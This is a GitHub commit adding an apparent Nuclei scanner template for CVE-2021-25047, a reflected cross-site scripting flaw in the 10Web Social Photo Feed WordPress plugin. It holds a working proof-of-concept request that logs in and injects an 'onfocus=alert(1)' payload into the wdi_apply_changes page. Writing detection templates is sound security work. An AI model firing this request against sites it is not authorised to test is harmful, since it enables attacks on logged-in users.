Create CVE-2021-25047.yaml

patch-1
Dhiyaneshwaran 2022-02-19 16:57:34 +05:30 committed by GitHub
parent 55a470f07b
commit 61ae4fa4b8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: CVE-2021-25047
info:
name: 10Web Social Photo Feed < 1.4.29 - Reflected Cross-Site Scripting (XSS)
author: dhiyaneshDk
severity: medium
description: The plugin was affected by a reflected Cross-Site Scripting (XSS) vulnerability in the wdi_apply_changes admin page, allowing an attacker to perform such attack against any logged in users.
reference: https://wpscan.com/vulnerability/d33241cc-17b6-491a-b836-dd9368652316
tags: wordpress,wp-plugin,xss
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin-ajax.php?action=wdi_apply_changes&page=%22%20id=x%20tabindex=1%20onfocus=alert(1)%20autofocus=#x HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "onfocus=alert(1)"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200